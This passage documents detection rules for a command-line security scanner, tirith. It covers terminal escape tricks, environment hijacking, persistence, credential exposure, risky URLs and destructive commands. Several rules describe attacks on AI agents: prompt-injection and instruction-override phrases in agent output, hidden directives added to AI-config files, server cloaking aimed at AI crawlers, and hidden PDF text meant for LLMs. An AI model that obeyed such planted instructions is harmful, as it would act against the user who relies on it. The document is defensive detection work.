| output_terminal_hyperlink_mismatch | HIGH | An OSC 8 terminal hyperlink was found where the visible link text itself parses as a URL whose host differs from the hyperlink's `href` host. This is the terminal equivalent of a phishing `<a href=evil.com>github.com</a>`. We only flag when the visible text PARSES as a URL — 'Click here' vs `https://example.com` does not fire (legitimate URL-shortener pattern); `github.com` vs `https://evil.example` does fire. |
| output_title_manipulation | INFO | Output contains an OSC 0 or OSC 2 sequence that rewrites the terminal window title. Legitimate programs (your shell, vim, tmux) DO write the title, but they do it directly to /dev/tty — they don't emit it into a stream you pipe through `tirith view` or stash in a log file. |
| output_clear_screen | INFO | Output contains an explicit ANSI screen-clear (`\e[2J`) or cursor-home (`\e[H`) sequence. Legitimate programs that clear the screen (top, htop, less) do it directly on /dev/tty — these sequences in a piped / saved stream are nearly always trying to hide what came before them. |
| output_truncated_escape_sequence | MEDIUM | Output ended while the byte-scanner was still inside an OSC (`\e]...`) or CSI (`\e[...`) sequence. The previous implementation silently dropped this state; we now surface it so MCP gateway / `tirith view` callers can fail-closed. |
| prompt_injection_in_output | HIGH | Scanned text contains a well-known prompt-injection seed phrase. Sophisticated injections (encoded payloads, paraphrases, cross-language phrasing) will slip past this rule — treat every line of agent output as untrusted regardless of whether the rule fires. |
| ignore_previous_instructions | HIGH | Scanned text contains an explicit instruction-override phrase. As with the broader `prompt_injection_in_output` rule, this catches well-known seed text only — encoded or paraphrased versions will not fire. |
Proxy hijacking, sensitive exports, and env-based code/shell injection
| Rule ID | Severity | Description |
|---|---|---|
| proxy_env_set | LOW | The command sets HTTP_PROXY, HTTPS_PROXY, ALL_PROXY, or similar proxy environment variables. Traffic may be intercepted by the proxy. |
| sensitive_env_export | HIGH | The command exports sensitive credentials (AWS_ACCESS_KEY_ID, GITHUB_TOKEN, OPENAI_API_KEY, etc.) via export, env, or set. These values persist in shell history and are visible to child processes. |
| code_injection_env | CRITICAL | The command sets a dynamic linker environment variable (LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH) that causes arbitrary shared libraries to be loaded into every executed process. |
| interpreter_hijack_env | HIGH | The command sets an interpreter module search path variable that causes the interpreter to load modules from attacker-controlled locations. |
| shell_injection_env | CRITICAL | The command sets a shell startup environment variable (BASH_ENV, ENV, PROMPT_COMMAND) that causes arbitrary code execution whenever a shell starts or a prompt is displayed. |
| env_sensitive_exposed_to_unknown_script | HIGH | `engine::analyze` (with `env_guard_enabled`) found one or more sensitive env vars set while the command pipes a network fetch into a shell. The finding lists the exposed variable NAMES only — never the values. This is the dedicated rule the `--suggest-safe-command` env-scrub rewrite attaches to, suggesting `env -u VAR … <cmd>` to strip the secrets for that one invocation. |
| env_sensitive_persisted_in_shell_rc | HIGH | `tirith env guard` parsed your rc/profile files and found a `export NAME=…` (or fish `set -x` / PowerShell `$env:`) for a name on the sensitive list. The finding reports the file + line with the value MASKED to `****`; tirith never reads or prints the value. |
| env_printenv_to_network_sink | MEDIUM | `engine::analyze` (with `env_guard_enabled`) found a bare `printenv` or argument-free `env` piped into a network sink. `env FOO=1 some-cmd` (which RUNS a command rather than printing the environment) does NOT fire. |
Shell rc, cron, profile, and startup-file modifications for persistence
| Rule ID | Severity | Description |
|---|---|---|
| persistence_shell_rc_modified | MEDIUM | A watched shell rc/profile file's sha256 changed since the recorded `tirith persistence` snapshot. The diff surfaces only the ADDED lines (credential-redacted), never removed lines or full content. |
| persistence_authorized_keys_new_entry | HIGH | `~/.ssh/authorized_keys` gained one or more lines since the recorded snapshot. The diff surfaces the added key line(s) (credential-redacted). |
| persistence_crontab_modified | MEDIUM | The output of `crontab -l` changed since the recorded snapshot. Absence of a crontab is treated as empty, not a change. The diff surfaces added cron lines (credential-redacted). |
| persistence_launch_agent_added | HIGH | A launchd plist or systemd-user unit file appeared (or its content changed) since the recorded snapshot. Units are tracked by content hash; the diff surfaces added lines for text units (credential-redacted). |
| persistence_ssh_config_include | MEDIUM | `~/.ssh/config` gained an `Include` directive that was not present in the recorded snapshot. Only an ADDED `Include` line fires this rule — an unrelated `Host`/option edit does not. The diff surfaces the added line. |
| persistence_direnv_new_envrc | MEDIUM | A `.envrc` file appeared in the current working directory's ancestry (or its content changed) since the recorded snapshot. The diff surfaces added lines (credential-redacted). |
| post_run_shell_rc_modified | HIGH | Fired by `tirith watch -- "<cmd>"`, which records the sha256 of each shell rc/profile file, runs the command, then re-hashes. A changed hash means the command modified that file during the run. The finding reports WHICH file changed; it does not echo the file contents. |
Destructive commands with wide reach — mass delete, deletes outside the repo
| Rule ID | Severity | Description |
|---|---|---|
| blast_deletes_outside_repo | HIGH | Surfaced ONLY by `tirith preview -- "<cmd>"`, which walks the filesystem to resolve the command's targets. At least one target canonicalizes outside the repo root. The `tirith check` hot path never walks the filesystem and never emits this rule — it is a simulator-only signal. |
| blast_writes_system_path | HIGH | Fired on the `engine::analyze` hot path by the CHEAP, filesystem-free `blast_radius::cheap_check`: the parsed target is a well-known system path. No filesystem walk is involved — this is a pure string-shape check. Run `tirith preview` for the full impact count. |
| blast_symlink_traversal | MEDIUM | Surfaced ONLY by `tirith preview -- "<cmd>"`, which walks the target tree (links are counted, never followed). The presence of symlinks is reported so you can confirm none of them point somewhere you do not intend to touch. The hot path never walks the filesystem and never emits this rule. |
| blast_empty_var_glob | HIGH | Fired on the `engine::analyze` hot path by the CHEAP `blast_radius::cheap_check`: a `"$VAR/"`-shaped target whose variable resolves to empty in the snapshotted environment. The detector takes the environment as an injected map, so the empty-variable case is unit-tested without mutating the process environment. |
| blast_find_delete | MEDIUM | Fired on the `engine::analyze` hot path by the CHEAP `blast_radius::cheap_check` when a `find` invocation carries a `-delete` action. Run `tirith preview` to see how many files the predicate would actually remove before executing. |
| blast_rsync_delete | MEDIUM | Fired on the `engine::analyze` hot path by the CHEAP `blast_radius::cheap_check` when an `rsync` invocation carries `--delete` / `--delete-*` / `--del`. The destination operand is the side that loses files. Run `tirith preview` to understand the impact. |
| blast_large_file_count | INFO | Surfaced ONLY by `tirith preview -- "<cmd>"`, which walks the target tree (depth ≤ 5, capped at 100k files) and counts files. The hot path never walks the filesystem and never emits this rule — it is a simulator-only signal. |
Git/repo hooks that fetch, call the network, read credentials, or sudo
| Rule ID | Severity | Description |
|---|---|---|
| repo_hook_network_call | HIGH | A repo hook body invokes curl, wget, nc, ncat, or netcat as a command word. Detected by the `tirith hooks` scanner over the hook body (treated as text, never executed). |
| repo_hook_credential_read | HIGH | A repo hook body references a well-known credential file or directory. Detected by the `tirith hooks` scanner over the hook body. |
| repo_hook_sudo | HIGH | A repo hook body uses `sudo` as a command word. Detected by the `tirith hooks` scanner over the hook body. |
| repo_hook_suspicious_shell_pattern | MEDIUM | A repo hook body pipes into sh/bash/python/etc, decodes base64, or uses eval. Detected by the `tirith hooks` scanner over the hook body. |
| repo_hook_external_fetch | MEDIUM | A repo hook body references an external URL or runs a remote-package runner (npx / pnpm dlx). Detected by the `tirith hooks` scanner over the hook body. |
Plain HTTP, TLS downgrade, URL shorteners, and data URIs
| Rule ID | Severity | Description |
|---|---|---|
| plain_http_to_sink | HIGH | An HTTP (not HTTPS) URL is passed to a download or execute command like curl, wget, or pip. Loopback addresses are exempt. |
| schemeless_to_sink | MEDIUM | A URL without a scheme (no http:// or https://) is passed to a download or execute command. The tool may default to HTTP. |
| insecure_tls_flags | HIGH | The command includes flags that disable TLS certificate verification: -k, --insecure (curl), --no-check-certificate (wget), or similar. |
| shortened_url | MEDIUM | The URL uses a known URL shortener service (bit.ly, t.co, tinyurl.com, is.gd, v.gd, goo.gl, ow.ly). The real destination is hidden. |
Aliases and functions that shadow or override critical commands
| Rule ID | Severity | Description |
|---|---|---|
| alias_overrides_critical_command | MEDIUM | `tirith aliases scan` found an alias or function whose name matches a critical command. Surfaces the definition + location for review; the rule reports the shadowing, not maliciousness. |
| alias_contains_network_call | HIGH | `tirith aliases scan` parsed an alias/function body that invokes a network tool as a command word. The matched tool is reported in the finding detail. |
| alias_contains_credential_read | HIGH | `tirith aliases scan` parsed an alias/function body that references a known credential-file path. The matched path fragment is reported in the finding detail. |
| alias_recently_added | INFO | `tirith aliases scan` flagged an alias/function whose defining rc file's mtime is within the last hour. Runtime-enumerated aliases (no source file) cannot be dated and never fire this rule. |
Non-ASCII paths, homoglyphs, and encoded traversal sequences
| Rule ID | Severity | Description |
|---|---|---|
| non_ascii_path | MEDIUM | The URL path contains bytes outside the ASCII range. These characters may visually resemble standard path components while pointing to a different resource. |
| homoglyph_in_path | MEDIUM | A path segment mixes ASCII and non-ASCII characters and is within edit distance 2 of a sensitive keyword like install, setup, auth, token, login, or config. |
| double_encoding | MEDIUM | The URL path contains double percent-encoding (%25 followed by hex), which encodes a percent sign itself. This is a common technique to bypass security filters. |
Obfuscated payloads, dynamic execution, and secret exfiltration in code files
| Rule ID | Severity | Description |
|---|---|---|
| dynamic_code_execution | HIGH | A code file contains eval() or exec() near base64 decoding (atob, b64decode, Buffer.from), String.fromCharCode, or exec(compile()). This pattern hides the actual executed code. |
| obfuscated_payload | HIGH | A code file contains long hex-encoded strings or heavily obfuscated string literals that may conceal malicious code. |
| suspicious_code_exfiltration | HIGH | A code file contains network requests to non-standard hosts alongside access to sensitive variables or credential files. |
Cloud metadata endpoints, private-network and SSRF-style access
| Rule ID | Severity | Description |
|---|---|---|
| metadata_endpoint | CRITICAL | The command accesses a cloud instance metadata endpoint: 169.254.169.254 (AWS/GCP/Azure) or 100.100.100.200 (Alibaba Cloud). These endpoints expose temporary credentials and instance configuration. |
| private_network_access | HIGH | The command targets a private or reserved IPv4 address (10.x, 172.16-31.x, 192.168.x, 127.x). In a remote-code-execution context, this may be SSRF or lateral movement. |
| command_network_deny | CRITICAL | The command targets a network destination that matches an entry in the policy network deny list. This is a policy-enforced block, not a heuristic detection. |
API keys, tokens, private keys, and high-entropy secrets in input
| Rule ID | Severity | Description |
|---|---|---|
| credential_in_text | HIGH | The input matches a known credential pattern from a specific provider: AWS access keys, GitHub PATs, Stripe API keys, Slack tokens, and many others. The pattern is provider-specific with low false-positive rates. |
| high_entropy_secret | MEDIUM | A key=value assignment near a secret-related keyword contains a high-entropy string, detected via the p_random entropy scoring algorithm. This catches credentials without provider-specific patterns. |
| private_key_exposed | CRITICAL | The input contains a PEM private key block (-----BEGIN ... PRIVATE KEY-----). Private keys must never be shared, pasted, or transmitted in cleartext. |
Hidden clipboard content and paste source/host mismatches
| Rule ID | Severity | Description |
|---|---|---|
| clipboard_hidden | HIGH | The clipboard HTML contains content that is not visible in the plain-text paste: CSS-hidden elements, color-hidden text, hidden HTML attributes, or significant visible-HTML text missing from the plain paste. |
| paste_source_mismatch | INFO | Fired by `engine::analyze` in paste context (`ScanContext::Paste`) ONLY. A companion browser extension (separate repo) writes a JSON record at `state-dir/clipboard_source.json` each time it sets the system clipboard, recording the source URL, page title, a SHA-256 of the copied content, and whether it saw hidden text. tirith reads (never writes) that record. The rule first confirms attribution: it computes `sha256(pasted_input)` and compares it to the record's `content_sha256` — if they differ, the paste did NOT come from the recorded source and NO finding is emitted (no false attribution). Only when the hashes match does it compare the destination host(s) of any URL in the pasted command against the recorded `source_url` host. If every destination host equals the source host there is no mismatch and no finding. A host mismatch alone is Info; a host mismatch plus any risk signal is High. The rule never echoes the pasted content or the source record into the finding beyond the hosts being compared. |
Executing or sourcing files that came from a risky or untrusted origin
| Rule ID | Severity | Description |
|---|---|---|
| exec_of_tainted_file | HIGH | Fired by the exec hot path when the parsed command leader resolves to a path present in the taint store (`state-dir/taint.jsonl`). A path becomes tainted when `tirith fetch --save ./install.sh https://untrusted.example/install.sh` keeps a downloaded file at a known path. A later `bash ./install.sh` (or `./install.sh`) against that same path then fires this rule. The store is path-keyed: moving the file with `mv` loses the mark (documented limitation). The mark is NEVER auto-cleared by `chmod +x` or a `bash -n` parse check — only `tirith taint clear <file>` removes it. |
| command_sourced_from_tainted_file | MEDIUM | Fired by the exec hot path when the command leader is the `source` builtin or `.` and its first file argument resolves to a path in the taint store (`state-dir/taint.jsonl`). A path becomes tainted via `tirith fetch --save`. Like `exec_of_tainted_file`, the store is path-keyed (a `mv` loses the mark) and the mark is never auto-cleared — only `tirith taint clear <file>` removes it. |
Snapshot-diff changes to AI configs: hidden instructions and tool-use escalation
| Rule ID | Severity | Description |
|---|---|---|
| ai_config_hidden_instruction_added | HIGH | Fired by `tirith ai diff` (`crate::rules::aifile::diff_findings`), which compares each current AI-config file to the last-known-safe snapshot at `state-dir/ai_config_snapshot.json` and reuses the shipping `agent_instruction_hidden` hidden-construct detection — HTML-comment directives and visually-hidden HTML elements (e.g. `style="display:none"`). It does NOT cover invisible-Unicode / zero-width text (zero-width, BIDI, and Unicode-tag invisibles in AI-config files are reported by the `config_invisible_unicode` rule, not this one). A newly-VISIBLE directive is flagged only when its normalized words (every ASCII-whitespace run collapsed to one space) are NOT already present as a contiguous run in the snapshot's whole-document word stream — so a Markdown reflow (re-wrapping a directive across a different number of lines) or blank-line churn does not fire, because the same words still appear contiguously in the old version. Hidden constructs (HTML comments / visually-hidden elements) are compared by a whitespace-normalized identity key, so a hidden block that was merely reformatted is likewise not treated as new. The trade-off of the word-stream containment is a rare false NEGATIVE: a genuinely-new directive whose words happen to already appear contiguously in the snapshot would be missed. Only content present in the NEW file but absent from the snapshot is reported; a removed line never fires this rule. The finding reports the added directive (truncated), never the whole file. This rule is never produced by the `engine::analyze` hot path or the `tirith scan` FileScan path — it is diff-triggered only, so it carries no tier-1 PATTERN_TABLE entry. |
| ai_config_tool_use_escalation | HIGH | Fired by `tirith ai diff` (`crate::rules::aifile::diff_findings`) when a paragraph ADDED to an AI-config file since the snapshot carries a tool-use / capability directive — a run/exec/shell-spawn instruction, a network call, or a file-write directive — that was not in the snapshot. A paragraph counts as ADDED only when its normalized words (ASCII-whitespace runs collapsed to one space) are NOT already a contiguous run in the snapshot's whole-document word stream, so a reflow or blank-line regrouping of an EXISTING tool-use line does not fire — the same words still appear contiguously in the old version. The trade-off is a rare false NEGATIVE: a genuinely-new directive whose words already appear contiguously in the snapshot would be missed. The tool-use shape itself is matched per added paragraph; the finding reports the escalated directive (truncated), never the whole file. Like `ai_config_hidden_instruction_added`, it is diff-triggered only — never produced by `engine::analyze` or the FileScan path — so it carries no tier-1 PATTERN_TABLE entry. |
Servers returning different content to AI bots vs browsers
| Rule ID | Severity | Description |
|---|---|---|
| server_cloaking | HIGH | The URL serves measurably different content to different user agents (Chrome vs ClaudeBot, ChatGPT-User, Googlebot, curl). A word-level diff exceeding a threshold triggers this rule. |
Sub-pixel / hidden text in PDFs invisible to readers but parsed by LLMs
| Rule ID | Severity | Description |
|---|---|---|
| pdf_hidden_text | HIGH | A PDF file contains hidden text layers that are invisible when rendered but can be extracted by text processing tools. These layers may contain hidden instructions for AI agents. |
Commands that do not match their signed command card
| Rule ID | Severity | Description |
|---|---|---|
| command_card_mismatch | HIGH | Fired by the exec hot path when the card supplied via `--card <path>` or `# tirith-card: <local-path>` verifies against a trusted, unexpired key BUT its `command` field does not equal (after trimming surrounding ASCII whitespace) the command being analyzed. The card is always read from disk; no remote fetch occurs on the hot path. |
Commands flagged against a repo allowed-command manifest
| Rule ID | Severity | Description |
|---|---|---|
| repo_command_dangerous_pattern | HIGH | Fired by the exec hot path when a `.tirith/commands.yaml` is discovered for the current repo and the analyzed command matches a `dangerous[*].pattern` glob. The matched entry's `action` chooses the severity: `block` → High (Block), `warn` → Medium (Warn). A `dangerous` match takes precedence over the `allowed[]` catalogue — a command listed under BOTH still fires this finding, so a compromised manifest cannot allow-list its way out of a dangerous pattern (a `block` match still blocks). When no manifest file exists, this rule never fires. |
A planted canary (honeytoken) was touched
| Rule ID | Severity | Description |
|---|---|---|
| canary_token_touched | HIGH | Fired by `engine::analyze` (paste + exec) and `engine::analyze_output` when a token present in the local canary store at `state-dir/canaries.jsonl` (`crate::canary`) appears in the scanned text. The match is a substring lookup, so a canary embedded in a larger blob (e.g. the output of `cat ~/.aws/credentials`) still fires. Generated tokens are CLEARLY SYNTHETIC — AWS-like uses the literal `AKIA00CANARY` infix (invalid for a real AWS key, since `0` is not in the base32 alphabet), GitHub-like uses `ghp_canary_`, etc. (see docs/canary-formats.md) — so they can never be mistaken for a real third-party credential and can never trigger an external provider's abuse / take-down workflow. By default detection is LOCAL-ONLY: it raises this finding and writes to the local audit log, with no phone-home. A canary MAY be created with an OPT-IN, user-self-hosted `--callback-url`, in which case detection ALSO fires one best-effort POST of `{kind, detected_at, context}` (never the token value) to that URL; a callback failure is logged and never blocks the verdict. |